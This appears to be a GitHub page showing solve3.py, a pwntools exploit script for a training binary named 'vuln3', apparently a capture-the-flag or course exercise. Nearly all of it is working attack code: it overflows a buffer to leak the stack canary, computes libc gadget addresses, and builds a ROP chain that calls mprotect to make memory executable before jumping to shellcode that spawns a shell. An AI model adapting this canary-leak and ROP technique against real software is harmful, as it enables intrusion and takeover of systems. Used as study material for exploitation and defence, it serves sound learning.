-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsolve3.py
116 lines (93 loc) · 3.06 KB
/
solve3.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python3
# pylint: skip-file
from pwn import *
NAME = 'vuln3'
context.binary = ELF(NAME)
# objdump -d vuln3
RUN_SERVICE_ADDR = 0x04009b0
# ROPgadget --binary vuln3
POP_RDI_ADDR = 0x400b63
# objdump -d /lib/.../libc.so.6
MPROTECT_LIBC_OFS = 0x11b7e0
# ROPgadget --binary /lib/.../libc.so.6
POP_RDX_LIBC_OFS = 0x1b96
POP_RSI_LIBC_OFS = 0x23a6a
def main():
p = process(context.binary.path)
# run_service stack frame:
# retaddr: rbp+0x08
# baseptr: rbp
# canary: rbp-0x08
# &name.len: rbp-0x50+0x40
# &name.string: rbp-0x50
# Read program banner, parse the free info.
p.readline()
name_line = p.readline()
name_addr = name_line.split(b'0x')[1].decode('utf-8').strip().zfill(16)
name_addr = u64(unhex(name_addr), endianness='big')
mprotect_line = p.readline()
mprotect_addr = mprotect_line.split(b'0x')[1].decode('utf-8').strip().zfill(16)
mprotect_addr = u64(unhex(mprotect_addr), endianness='big')
log.warning(f'&name: {name_addr:016x}')
# Compute addresses from free information.
libc_base_addr = mprotect_addr - MPROTECT_LIBC_OFS
pop_rdx_addr = libc_base_addr + POP_RDX_LIBC_OFS
pop_rsi_addr = libc_base_addr + POP_RSI_LIBC_OFS
# Set initial name.
p.recvuntil('> ')
p.sendline('andreas')
# Overflow buffer to overwrite the name.len field with value 0xff
p.sendline('update')
p.send('\xff' * 0x41)
p.recvuntil('> ')
# Leak stack information
p.sendline('print')
p.recvuntil('name: ')
leaked = p.recv(0xff)
leaked = leaked[1:]
log.info('leaked data:')
log.info(hexdump(leaked))
canary = u64(leaked[0x50-0x8:0x50])
log.warning(f'leaked canary value: 0x{canary:016x}')
p.recvuntil('> ')
# Send shellcode and overwrite the return address with the address of the
# ROP chain gadgets.
p.sendline('update')
shellcode = asm(shellcraft.amd64.linux.sh())
padding1 = b'A' * (0x48 - len(shellcode))
padding2 = b'B' * 0x8
shellcode_addr = name_addr
payload = (
shellcode
+ padding1
+ p64(canary)
+ padding2
# Begin ROP chain
# 1. mprotect(&shellcode, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
# 2. shellcode()
# 1a. Prepare first argument to mprotect: shellcode address (MUST BE PAGE ALIGNED)
+ p64(POP_RDI_ADDR)
+ p64(shellcode_addr & 0xfffffffffffff000)
# 1b. Prepare second argument to mprotect: shellcode size (1 page).
+ p64(pop_rsi_addr)
+ p64(0xfff)
# 1c. Prepare third argument to mprotect: PROT_READ | PROT_WRITE | PROT_EXEC
+ p64(pop_rdx_addr)
+ p64(0x7)
# 1d. Call mprotect()
+ p64(mprotect_addr)
# 2. Call shellcode()
+ p64(shellcode_addr)
# Backstop
+ p64(0xdeadbeef)
)
log.info('sending payload:')
log.info(hexdump(payload))
p.send(payload)
p.recvuntil('> ')
# Return from function.
p.sendline('exit')
log.warning('Enjoy your shell!')
p.interactive()
if __name__ == '__main__':
main()